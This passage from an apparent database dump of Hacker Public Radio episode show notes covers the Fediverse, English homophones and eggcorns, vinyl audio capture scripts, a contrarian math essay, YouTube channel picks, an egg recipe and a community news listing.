href=\"https://www.linfo.org/unix_philosophy.html\" target=_blank>https://www.linfo.org/unix_philosophy.html</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Kafka, Confluent, distributed event platforms, databases, Redis, Love, Death, Robots, Zookeeper',0,0,1),
(3780,'2023-01-27','Fediverse Update May 2022',824,'This episode reports on some updates to the Fediverse that I ran across in May 2022','<p>One of the things I love about the Fediverse is that there is constant activity and development. As I mentioned in the previous report on Bookwyrm, it is not unusual to return to an app a few months later and see new features have been added that make it better. In this report I want to highlight three news stories that I think may be of interest.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.starshipchangeling.net/mastodon/\" class=\"uri\">https://www.starshipchangeling.net/mastodon/</a></li>\n<li><a href=\"https://www.theverge.com/2018/8/31/17801404/mastodon-harassment-wil-wheaton-mobs-twitter\" class=\"uri\">https://www.theverge.com/2018/8/31/17801404/mastodon-harassment-wil-wheaton-mobs-twitter</a></li>\n<li><a href=\"https://fediverse.info/\" class=\"uri\">https://fediverse.info/</a></li>\n<li><a href=\"https://golangexample.com/gotosocial-a-fediverse-server-project-written-in-golang/\" class=\"uri\">https://golangexample.com/gotosocial-a-fediverse-server-project-written-in-golang/</a></li>\n<li><a href=\"https://apps.apple.com/us/app/metatext/id1523996615\" class=\"uri\">https://apps.apple.com/us/app/metatext/id1523996615</a></li>\n<li><a href=\"https://wordpress.org/plugins/activitypub/\" class=\"uri\">https://wordpress.org/plugins/activitypub/</a></li>\n<li><a href=\"https://www.zwilnik.com/better-social-media/bookwyrm/\" class=\"uri\">https://www.zwilnik.com/better-social-media/bookwyrm/</a></li>\n</ul>\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, Mastodon, Screen readers, WordPress',0,0,1),
(3608,'2022-06-01','Battling with English - part 5',927,'Confused homophones; misunderstanding words from other countries; Eggcorns','<article>\n<h2 id=\"overview\">Overview</h2>\n<p>This time I have three main subjects to discuss, all of them dealing with misunderstandings of words:</p>\n<ul>\n<li>Mistakes made with <em>homophones</em>, one group of examples\n<ul>\n<li>The definition gets a little technical, see the <a href=\"https://en.wikipedia.org/wiki/Homophone\" title=\"Wikipedia: words that sound the same but have different meaning\">Wikipedia</a> description.</li>\n</ul></li>\n<li>Misunderstandings of words from other languages\n<ul>\n<li><em>Pundit</em></li>\n</ul></li>\n<li>Looking at <em>Eggcorns</em> (a name chosen from a misspelling of <em>acorn</em>)\n<ul>\n<li>Wikipedia: <em>an alteration of a phrase through the mishearing or reinterpretation of one or more of its elements</em></li>\n</ul></li>\n</ul>\n<h2 id=\"long-notes\">Long notes</h2>\n<p>Follow this link to <a href=\"https://hackerpublicradio.org/eps/hpr3608/full_shownotes.html\">read the detailed notes</a> associated with this episode.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Misunderstanding homophones:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Homophone\">Wikipedia article on <em>homophones</em></a></li>\n<li><a href=\"https://www.dictionary.com/e/reign-vs-rein/\">Confusing <em>reign</em> and <em>rein</em></a></li>\n<li>Definitions of <em>reign</em>:\n<ul>\n<li><a href=\"https://www.thefreedictionary.com/reign\">Free Dictionary: <em>reign</em></a></li>\n<li><a href=\"https://www.merriam-webster.com/dictionary/reign\">Merriam-Webster: <em>reign</em></a></li>\n</ul></li>\n<li>Definitions of <em>rein</em>:\n<ul>\n<li><a href=\"https://www.thefreedictionary.com/rein\">Free Dictionary: <em>rein</em></a></li>\n<li><a href=\"https://www.merriam-webster.com/dictionary/rein\">Merriam-Webster: <em>rein</em></a></li>\n</ul></li>\n</ul></li>\n</ul>\n<ul>\n<li>Misunderstanding imported words:\n<ul>\n<li><a href=\"https://www.beedictionary.com/common-errors/pundint_vs_pundit\">Bee Dictionary: <em>pundint or pundit</em></a></li>\n<li>Definitions of <em>pundit</em>:\n<ul>\n<li><a href=\"https://www.thefreedictionary.com/Pundit\">Free Dictionary: <em>pundit</em></a></li>\n<li><a href=\"https://www.merriam-webster.com/dictionary/pundit\">Merriam-Webster: <em>pundit</em></a></li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Jawaharlal_Nehru\">Wikipedia article: Jawaharlal Nehru, aka <em>Pandit Nehru</em></a></li>\n</ul></li>\n</ul>\n<ul>\n<li><em>Eggcorns</em>:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Eggcorn\">Wikipedia article on <em>Eggcorns</em></a></li>\n<li><a href=\"https://eggcorns.lascribe.net/\">The Eggcorn Database</a></li>\n<li><a href=\"https://eggcorns.lascribe.net/forum/\">The Eggcorn Forum</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Alzheimer%27s_disease\">Wikipedia article on Alzheimer’s disease</a></li>\n<li><a href=\"https://www.goodreads.com/quotes/8690878-cruel-clever-cat-sally-having-swallowed-cheese-directs-down-holes\"><em>Cruel, Clever Cat</em>, by Geoffrey Taylor</a> a joke on the Eggcorn <em>baited breath</em></li>\n</ul></li>\n</ul>\n<ul>\n<li>Previous episodes in this series:\n<ul>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2558\">Battling with English - part 1</a></li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2596\">Battling with English - part 2</a></li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2751\">Battling with English - part 3</a></li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3525\">Battling with English - part 4</a></li>\n</ul></li>\n</ul>\n</article>\n',225,120,1,'CC-BY-SA','grammar,spelling,homonym,Eggcorn',0,0,1),
(3641,'2022-07-18','Turntable audio capture Part 2',354,'I revise previous capture scripts','<h4 id=\"update-to-hpr-3507\">Update to HPR 3507</h4>\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3507\">hpr3507 :: USB Turntable fix and sound journey</a>  </p>\n<pre><code>record_capture_wav.sh\n#!/bin/bash\n\necho &quot;Record name?&quot;\nread record\necho &quot;Which side is this?&quot;\nread side\n\narecord --device=&#39;hw:CARD=CODEC,DEV=0&#39; --rate=96000 --channels=2 --vumeter=stereo --duration=1500 --format=dat --file-type wav $record&quot;_Side_&quot;$side.wav\n</code></pre>\n<pre><code>record_capture_flac.sh\n#!/bin/bash\n\n echo &quot;Record name&quot;\n read record\n echo &quot;Which side is this?&quot;\n read side\n\narecord --device=&#39;hw:CARD=CODEC,DEV=0&#39; --rate=96000 --channels=2 --vumeter=stereo --duration=1500 --format=dat --file-type wav - | flac - -o $record&quot;_Side_&quot;$side.flac</code></pre>\n<p>Used hw:CARD=CODEC,DEV=0 derived from \'arecord -L\'</p>\n<p>hw:CARD=CODEC,DEV=0 USB Audio CODEC, USB Audio Direct hardware device without any conversions</p>\n<h4 id=\"arecord-manpage\">arecord manpage</h4>\n<pre><code>...\n\n-f --format=FORMAT\n\n    Sample format\n    Recognized sample formats are: S8 U8 S16_LE S16_BE U16_LE U16_BE S24_LE S24_BE U24_LE U24_BE S32_LE S32_BE U32_LE U32_BE FLOAT_LE FLOAT_BE\n    FLOAT64_LE FLOAT64_BE IEC958_SUBFRAME_LE IEC958_SUBFRAME_BE MU_LAW A_LAW IMA_ADPCM MPEG GSM SPECIAL S24_3LE S24_3BE U24_3LE U24_3BE S20_3LE\n    S20_3BE U20_3LE U20_3BE S18_3LE S18_3BE U18_3LE\n\n    Some of these may not be available on selected hardware\n    The available format shortcuts are:\n\n    -f cd (16 bit little endian, 44100, stereo) [-f S16_LE -c2 -r44100]\n    -f cdr (16 bit big endian, 44100, stereo) [-f S16_BE -c2 -f44100]\n    -f dat (16 bit little endian, 48000, stereo) [-f S16_LE -c2 -r48000]\n\n    If no format is given U8 is used.\n\n-d, --duration=#\n    Interrupt after # seconds. A value of zero means infinity. The default is zero, so if this option is omitted then the arecord process will run until it is killed.\n\n-t, --file-type TYPE\n    File type (voc, wav, raw or au). If this parameter is omitted the WAVE format is used.\n\n...\n\n</code></pre>\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=2881\">hpr2881 :: Automatically split album into tracks in Audacity</a>  </p>\n<h4 id=\"changes-as-of-5-20-2022\">Changes as of 5-20-2022</h4>\n<ul>\n<li>Old way : Select the entire track and select Analyze &gt; Silence Finder</li>\n<li>Update : Select the entire track and select Analyze &gt; Label Sounds</li>\n</ul>\n<p><em>Label sounds menu</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3641/audacity_screenshot_1.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3641/audacity_screenshot_1_thumbnail.png\" alt=\"Label sounds menu\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small>  </p>\n<p><em>Silence detection options</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3641/audacity_screenshot_2.png\" alt=\"Silence detection options\" />  </p>\n<p>HowTo: Split MP3s by silence detection using mp3splt</p>\n<p><a href=\"https://blog.dornea.nu/2012/04/01/howto-split-mp3s-by-silence-detection-using-mp3splt/\" class=\"uri\">https://blog.dornea.nu/2012/04/01/howto-split-mp3s-by-silence-detection-using-mp3splt/</a></p>\n<p>mp3splt -s -p th=-40,min=6,rm</p>\n<p>Parameters explanation:</p>\n<pre><code>&#39;-s&#39;: silence mode; activate silence detection\n&#39;-p&#39;: specify arguments for the silence mode\n&#39;th=-40&#39;: threshold level (dB) to be considered silence\n&#39;min=6&#39;: minimum number of seconds to be considered as splitpoint\n&#39;rm&#39;: remove silence from splitted files</code></pre>\n<h4 id=\"what-worked-for-me\">What worked for me</h4>\n<p>mp3splt -s -p th=-30,min=0.5,rm $1</p>\n<p>Fix tracks not splitting</p>\n<ul>\n<li>Manually seek the silence in mplayer/mpv</li>\n<li>Note the silent areas</li>\n<li>Cut with ffmpeg ie.\n<ul>\n<li>ffmpeg -i track.flac -ss 00:03:05 -to 00:06:00 -acodec copy track-cut1.flac</li>\n</ul></li>\n</ul>\n<h4 id=\"references\">References</h4>\n<p>How to rip vinyl in Manjaro<br />\n<a href=\"https://forum.manjaro.org/t/howto-rip-vinyl-lps-in-manjaro/83300\" class=\"uri\">https://forum.manjaro.org/t/howto-rip-vinyl-lps-in-manjaro/83300</a></p>\n<p>mp3splt<br />\n<a href=\"https://mp3splt.sourceforge.net\" class=\"uri\">https://mp3splt.sourceforge.net</a></p>\n<h5 id=\"man-pages\">Man pages</h5>\n<p><a href=\"https://mp3splt.sourceforge.net/mp3splt_page/documentation/man.html\" class=\"uri\">https://mp3splt.sourceforge.net/mp3splt_page/documentation/man.html</a></p>\n<p><a href=\"https://manpages.ubuntu.com/manpages/xenial/en/man1/mp3splt.1.html\" class=\"uri\">https://manpages.ubuntu.com/manpages/xenial/en/man1/mp3splt.1.html</a></p>\n<h5 id=\"youtube-downloader\">Youtube downloader</h5>\n<p><a href=\"https://ytgram.com/en/youtube-video-downloader\" class=\"uri\">https://ytgram.com/en/youtube-video-downloader</a></p>\n<p><em>Screen capture of youtube link download on YTGram</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3641/ytgram.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3641/ytgram_thumbnail.png\" alt=\"Screen capture of youtube link download on YTGram\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small>  </p>\n<h5 id=\"sample-album\">Sample album</h5>\n<p>J&#x332;o&#x332;urney - D&#x332;eparture&#x332; (Full Album) 1980<br />\n<br />\n<a href=\"https://www.youtube.com/watch?v=eoG9U8n0dWo\" class=\"uri\">https://www.youtube.com/watch?v=eoG9U8n0dWo</a></p>\n',318,0,0,'CC-BY-SA','audio, capture, vinyl, audacity, mp3splt, arecord, ffmpeg, wav, flac',0,0,1),
(3606,'2022-05-30','Infinity is just a big number and other proofs',561,'Ken proves Mathematically that programming is not easier with maths.','<h1 id=\"response-to-hpr3568\">Response to hpr3568</h1>\n<pre><code>  Title         PopKorn Episode 2: Programming, Mathematics, and Asymmetric Literacy\n  Artist        BlacKernel\n  Album         Hacker Public Radio\n  Comment       https://hackerpublicradio.org Clean; in This episOde, blackeRnel Tries to help yoU undeRstand Enough about math and programming The license is CC-BY-SA\n  Date          2022\n  Track Number  3568\n  Genre         Podcast\n</code></pre>\n<p><a href=\"https://en.wikipedia.org/wiki/Mathematical_joke\">https://en.wikipedia.org/wiki/Mathematical_joke</a><br />\nMathematicians are also shown as averse to making hasty generalizations from a small amount of data, even if some form of generalization seems plausible:</p>\n<pre><code>An astronomer, a physicist and a mathematician are on a train in Scotland.\nThe astronomer looks out of the window, sees a black sheep standing in\na field, and remarks, &quot;How odd. All the sheep in Scotland are black!&quot; &quot;No,\nno, no!&quot; says the physicist. &quot;Only some Scottish sheep are black.&quot; The\nmathematician rolls his eyes at his companions&#39; muddled thinking and says,\n&quot;In Scotland, there is at least one sheep, at least one side of which\nappears to be black from here some of the time.&quot;[Stewart, Ian (1995).\nConcepts of Modern Mathematics. ISBN 9780486134956.]\n</code></pre>\n<p><a href=\"https://en.wikipedia.org/wiki/Mathematical_proof\">https://en.wikipedia.org/wiki/Mathematical_proof</a></p>\n<pre><code>A mathematical proof is an inferential argument for a mathematical\nstatement, showing that the stated assumptions logically guarantee the\nconclusion.\n</code></pre>\n<h2 id=\"stated-assumptions\">Stated assumptions</h2>\n<ul>\n<li><p><a href=\"https://nixnet.social/objects/bc9d7dd8-66a5-4aae-ab21-6f77ad4191d3\">https://nixnet.social/objects/bc9d7dd8-66a5-4aae-ab21-6f77ad4191d3</a></p>\n<pre><code>  BlacKernel @BlacKernel@nixnet.social Mar 21, 2022, 19:01.\n  Saying you don&#39;t need to know math to do programming is like saying\n  you don&#39;t need to know how to read in order to write. Technically\n  true, but it makes it way easier.\n</code></pre></li>\n</ul>\n<p>Simplifying the statement</p>\n<pre><code>  Knowing math makes programming way easier.\n</code></pre>\n<p>Rearrange and problem</p>\n<pre><code>There are no humans that ever existed or will ever exist that will not\nfind programming easier having a knowledge of maths.\n</code></pre>\n<p>I exist. I do not find programming easier despite my knowledge of maths.</p>\n<p>Q.E.D.</p>\n<h1 id=\"other-points\">other points</h1>\n<p>\"Ability to think logically - which is what math is.\"</p>\n<p>This assumes that math is the only field where the ability to think logically exists. Math is a subset of logical thinking and not the other way around. I can think of hundreds of occupations that require logical thinking that do not require any maths. It would be difficult to argue this point as it could be argued, as most people are exposed to counting no matter what level of literacy they may have access to. So let us refer to studies with crows that shows that they do think logically - despite any math knowledge.</p>\n<ul>\n<li><a href=\"https://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0092895\">Using the Aesop\'s Fable Paradigm to Investigate Causal Understanding of Water Displacement by New Caledonian Crows</a></li>\n<li><a href=\"https://users.ox.ac.uk/~kgroup/tools/tool_manufacture.shtml\">Tool Manufacture in Crows</a></li>\n</ul>\n<h1 id=\"programming-is-\">Programming is ...</h1>\n<p>The wikipeda entry has 19 other definitions for programming but OK.<br />\n<a href=\"https://en.wikipedia.org/wiki/Program\">https://en.wikipedia.org/wiki/Program</a></p>\n<h2 id=\"asymmetric-literacy\">Asymmetric literacy</h2>\n<p>\"Is an example where you can read or write in a specific language but not necessarily doing both.\"</p>\n<p>Chinese written language can be understood by multiple spoken languages. However the nuance is greater if the writer and reader shared the same language/understanding.</p>\n<pre><code>&quot;Because math and computer are the same thing under the hood if you\nunderstand it then you understand the programming a lot better. But if you\nuse some other analogy .. you&#39;ll write programs that are perfectly fine\nand perfectly work, but it won&#39;t be as exact or as nuanced as it could be\nif you also knew math. That&#39;s what I was saying.&quot;\n</code></pre>\n<ul>\n<li><p>Computer CPU has a bunch of instruction sets in it. Tells the computer what transistor operation to perform</p></li>\n<li><p>Logical extension of the instruction set</p></li>\n<li><p>There is nothing in programming that is not covered by the instruction set.</p></li>\n<li><p>Same way in math depends on axioms</p></li>\n<li><p>\"They are the same thing, .. the exact same process\"</p>\n<p>\"Because they are the same thing under the hood, if you understand how to do math, then you\'ll understand how to make your programs better, because you can write your programs in a way that reflect the underlying structure of the computer which will make your programs run more efficiently as giving you insight into how errors may be occurring etc etc etc.\"</p></li>\n</ul>\n<p>That may have been valid in the pioneering days of computers if we just have one chip with one instruction set. Nowadays programs run on systems that run in Java Virtual Machines, which run on docker containers, running on Virtual Machines, spread across multiple clusters, finally hitting different processors each with their own different instruction sets, then down to different cores.</p>\n<p>Turtles all the way down.</p>\n<p>No they are not. Math axioms do not change from chip manufacturer to chip manufacturer.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Comparison_of_instruction_set_architectures\">https://en.wikipedia.org/wiki/Comparison_of_instruction_set_architectures</a></p>\n<h2 id=\"axioms\">Axioms</h2>\n<p><a href=\"https://en.wikipedia.org/wiki/List_of_axioms\">https://en.wikipedia.org/wiki/List_of_axioms</a></p>\n<ul>\n<li><p>Axiom of extensionality</p></li>\n<li><p>Axiom of empty set</p></li>\n<li><p>Axiom of pairing</p></li>\n<li><p>Axiom of union</p></li>\n<li><p>Axiom of infinity</p></li>\n<li><p>Axiom schema of replacement</p></li>\n<li><p>Axiom of power set</p></li>\n<li><p>Axiom of regularity</p></li>\n<li><p>Axiom schema of specification</p>\n<pre><code>  &quot;You take Logical Deductions from those axioms, that&#39;s what math is.\n  Math is a series of logical deductions or proofs utilizing previous\n  proofs or axioms. That&#39;s all math is. Can be in different forms.&quot;\n</code></pre></li>\n</ul>\n<p><a href=\"https://en.wikipedia.org/wiki/Euclidean_geometry#Axioms\">https://en.wikipedia.org/wiki/Euclidean_geometry#Axioms</a></p>\n<h3 id=\"axiom-of-infinity\">Axiom of infinity</h3>\n<p>Flawed assumes infinity exists. I reject this as the proof is take a big number +1 keep adding to it. What you actually get is a even bigger integer and not infinity.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Coastline_paradox\">https://en.wikipedia.org/wiki/Coastline_paradox</a></p>\n<p>Infinity is our inability to think big, and math reflecting that shows a flaw in maths.</p>\n<!--\nvim: syntax=markdown:ts=8:sw=4:ai:et:tw=78:fo=tcqn:fdm=marker:com+=fb\\:-\n-->\n',30,0,0,'CC-BY-SA','math,programming,infinity',0,0,1),
(3621,'2022-06-20','Watching YouTube in 2022',1236,'A few of the channels that distracted me through COVID-19 and beyond','<article>\n<h2 id=\"another-youtube-list-yes--\">Another YouTube list? Yes ;-)</h2>\n<p>I found myself watching YouTube a lot during the worst of the pandemic, and as I saw the world falling apart in many ways. YouTube has been something of a lifeline in the past years, helping me find stuff I actually want to watch, which (mostly) doesn’t have all the fake crap that’s on TV. I must say though, that I loathe and detest the apparent trend towards <code>#shorts</code> - I really don’t see the point of them!</p>\n<p>The channels I chose at this time were to help me understand something of what was going on in the pandemic and in world politics, and a few gave me some distractions from it all.</p>\n<p>This is a fairly short list that I’m sharing; I could list quite a few more, but I thought some of these recommendations might be of interest to the HPR audience.</p>\n<h2 id=\"channels\">Channels</h2>\n<ol type=\"1\">\n<li><p><font size=\"+1\"><b>Just Have a Think</b></font></p>\n<ul>\n<li><p>Dave Borlace, the host, talks about climate and sustainable energy.</p></li>\n<li><p>The episodes are well researched and explained clearly, and I find they can often give out some hope that we can lessen the effects of the climate change that is certainly coming.</p></li>\n<li><p>Recent episodes have covered: the <a href=\"https://www.ipcc.ch/\" title=\"The Intergovernmental Panel on Climate Change (IPCC) is the United Nations body for assessing the science related to climate change.\">IPCC</a> <em>Survival Guide</em>, plastic eating enzymes and CO<sub>2</sub> removal from the oceans.</p></li>\n<li><p><a href=\"https://www.youtube.com/c/JustHaveaThink\" class=\"uri\">https://www.youtube.com/c/JustHaveaThink</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Undecided with Matt Ferrell</b></font></p>\n<ul>\n<li><p>Matt Ferrell, the host, looks at how smart and sustainable technology impacts our lives.</p></li>\n<li><p>Another clear-sighted and well researched look at technology, particularly in the current world context. There’s also a podcast <em>Still To Be Determined</em> where Matt and his brother Sean have a conversation following on from the shows on YouTube.</p></li>\n<li><p>Recent episodes have covered:</p>\n<ul>\n<li>An improved method of generating <em>green</em> hydrogen</li>\n<li>Using machine learning to boost renewable energy generation and reduce costs of wind farms</li>\n<li>Plastic recycling is not as we’ve been led to believe.</li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/UndecidedMF\" class=\"uri\">https://www.youtube.com/c/UndecidedMF</a> (with the podcast <a href=\"https://feeds.transistor.fm/still-to-be-determined\" class=\"uri\">https://feeds.transistor.fm/still-to-be-determined</a>)</p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Second Thought</b></font></p>\n<ul>\n<li><p>A channel devoted to education and analysis of current events from a Socialist perspective.</p></li>\n<li><p>My Socialist, anti-Capitalist sympathies fit well with the contents of this channel, and I’m learning from it. It’s very well done, and has obviously taken some effort to produce.</p></li>\n<li><p>Some recent episode titles:</p>\n<ul>\n<li><em>What if we just stopped working?</em></li>\n<li><em>How Consulting firms secretly run entire countries</em></li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/SecondThought\" class=\"uri\">https://www.youtube.com/c/SecondThought</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Democracy at Work</b></font></p>\n<ul>\n<li><p>Channel description: <em>Democracy at Work is a non-profit 501(c)3 that produces media and live events. Our work analyzes capitalism critically as a systemic problem and advocates for democratizing workplaces as part of a systemic solution. We seek a stronger, fuller democracy – in our politics and culture as well as in our economy - based on workers’ equal collaboration and shared leadership inside enterprises and throughout society.</em></p></li>\n<li><p>The insights shared by Prof. Richard D. Wolff in particular help me to understand a lot of what is going wrong in many countries in the world, though he concentrates on the USA. You will hear him speaking at events, on the radio in the USA and on other YouTube channels and podcasts. There are other presenters on the channel, particularly: Dr. Harriet Fraad (<em>Capitalism Hits Home</em>) and Prof. David Harvey (<em>Anti-Capitalist Chronicles</em>)</p></li>\n<li><p><a href=\"https://www.youtube.com/c/democracyatwrk\" class=\"uri\">https://www.youtube.com/c/democracyatwrk</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>AT Restoration</b></font></p>\n<ul>\n<li><p>A furniture restorer, Ahti, located in Estonia</p></li>\n<li><p>The quality of the workmanship is wonderful, as can be seen when he turns what look like ruined pieces of furniture into beautiful items. Some restorations are for clients, some for himself.</p></li>\n<li><p>Recent episodes have covered:</p>\n<ul>\n<li>Restoration of an Art Noveau chair</li>\n<li>A mirror seat with water damage - the client doesn’t want it to look <strong>new</strong> though</li>\n<li>A 19<sup>th</sup> century coffee grinder</li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/ATRestoration\" class=\"uri\">https://www.youtube.com/c/ATRestoration</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Marty T</b></font></p>\n<ul>\n<li><p>From the channel description: <em>I started this channel to share my ideas, creations, adventures and to show people how easy it is to live off the grid &amp; save money.</em></p></li>\n<li><p>Marty, the host and his family live in the north of the south island of New Zealand (Marlborough Sounds<a href=\"#fn1\" class=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a>). Marty shows how he recovers old abandoned machines like tractors and excavators and puts them to use on his land. They are off-grid and their electricity comes from a turbine he built from an adapted scrap washing machine. I find it fascinating to watch the resourcefulness of the people in this part of the world.</p></li>\n<li><p>Some highlights in the past year:</p>\n<ul>\n<li><em>Salvaging an Abandoned TD9 Bulldozer from the Forest. Will it start??</em></li>\n<li><em>Salvaging an Abandoned Vintage Tractor - David Brown 25</em></li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/MartyT\" class=\"uri\">https://www.youtube.com/c/MartyT</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Jeff Geerling</b></font></p>\n<ul>\n<li><p>Lots of stuff of a technical nature, often involving the Raspberry Pi, but not exclusively.</p></li>\n<li><p>Lots of great projects and ideas to learn from. For example, he has championed the <em>Turing Pi</em> a board which can take multiple Raspberry Pi Compute Modules to form a Pi cluster.</p></li>\n<li><p>Some highlights in the past few months:</p>\n<ul>\n<li><em>Top 10 Raspberry Pi Projects for 2022</em></li>\n<li><em>The Petabyte Pi Project</em></li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/JeffGeerling\" class=\"uri\">https://www.youtube.com/c/JeffGeerling</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Ocean Conservation Namibia</b></font></p>\n<ul>\n<li><p>From the description: <em>Ocean Conservation Namibia is dedicated to the protection of Namibia’s marine wildlife. OCN was started by Naude and Katja Dreyer in January 2020 to create global awareness of ocean and plastic pollution and its horrible and avoidable impact on animals and specifically seals.</em></p></li>\n<li><p>The team manage to produce a brief daily video where they rescue seals which are entangled in plastic and other items. The seals find these things, such as spools or bundles of fishing line, and tend to play with them, and eventually the loop or spool gets stuck around their neck, which can cut them badly and eventually kill them.</p></li>\n<li><p>Recent highlights have been:</p>\n<ul>\n<li><em>Rescuers Use SAW To Save Baby Seal</em></li>\n<li><em>Hook in Seal’s Eye Tied To Another Seal!</em></li>\n<li><em>Seal Entangled in Ball of Fishing Line</em></li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/OceanConservationNamibia\" class=\"uri\">https://www.youtube.com/c/OceanConservationNamibia</a></p></li>\n</ul></li>\n</ol>\n<p>I hope you find these channels interesting and useful yourself.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><p><a href=\"https://www.ipcc.ch/\">IPCC</a>: The Intergovernmental Panel on Climate Change (IPCC) is the United Nations body for assessing the science related to climate change.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Richard_D._Wolff\">Richard D. Wolff</a>: Wikipedia page</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/David_Harvey\">David W. Harvey</a>: Wikipedia page</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Marlborough_Sounds\">Marlborough sounds, New Zealand</a>: Wikipedia page</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Fur_seal\">Fur seals</a>: Wikipedia page</p></li>\n</ul>\n<section class=\"footnotes\" role=\"doc-endnotes\">\n<hr />\n<ol>\n<li id=\"fn1\" role=\"doc-endnote\"><p>In the audio I said Marlborough Sounds was in the North West of the South Island of NZ, but in fact it’s in the North East. See the Wikipedia article for more information.<a href=\"#fnref1\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\n</ol>\n</section>\n</article>\n',225,106,1,'CC-BY-SA','YouTube,channel',0,0,1),
(3607,'2022-05-31','The Best Eggs in the World',799,'Emergency Show: The Best Eggs in the World','<h3>This is an Emergency show</h3>\r\n<p>\r\nThis show is from the emergency show pool.<br />\r\nYou are hearing this because there was a free slot that was not filled.<br />\r\nHacker Public Radio is a community effort, that will only continue if people like you submit shows.<br />\r\nIf you have not submitted a show this year, then please record an introduction about yourself, and how you got into tech.<br />\r\nThen post it to, Hacker Public Radio dot org forward slash, upload.\r\n</p>\r\n<h2>The Best Eggs in the World</h2>\r\n<p>\r\nToday\'s show is brought to you by pokey\r\n</p>\r\n<ul>\r\n<li>1/6 large onion</li>\r\n<li>3-5 medium mushrooms</li>\r\n<li>2 eggs</li>\r\n<li>1-2 slices of cheese</li>\r\n<li>2 pieces of toast</li>\r\n<li>Garlic Powder, Salt, Pepper, butter to taste.</li>\r\n</ul>\r\n\r\n<p>\r\nIf you have comments, please leave them in the comments section for the show here at https://hackerpublicradio.org\r\nIf you had submitted a real episode of HPR, you wouldn\'t have found this in your feed today. :-P\r\n</p>\r\n',128,93,0,'CC-BY-SA','Emergency Show,Eggs,Cooking',0,0,1),
(3613,'2022-06-08','Man buys cheap Adirondack chair',453,'An anecdote about buying a cheap lawn chair and trying to get a part replaced.','<p>Part C (left front leg), one 30cm piece of unfinished fir, with a sort of fan-shaped piece attached with 2 screws, is duly replaced. The customer has been served. The prize is a wobbly chair and, in a few months time, some firewood. What we learned? I\'ll build my own chair next time.</p>\n',399,0,0,'CC-BY-SA','\"late capitalism\"',0,0,1),
(3891,'2023-07-03','HPR Community News for June 2023',6145,'HPR Volunteers talk about shows released and comments posted in June 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3869/index.html\" target=\"_blank\">3869</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3869/index.html\" target=\"_blank\">5 minute war game</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3870/index.html\" target=\"_blank\">3870</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3870/index.html\" target=\"_blank\">Texas</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3871/index.html\" target=\"_blank\">3871</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-06-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3871/index.html\" target=\"_blank\">HPR Community News for May 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR 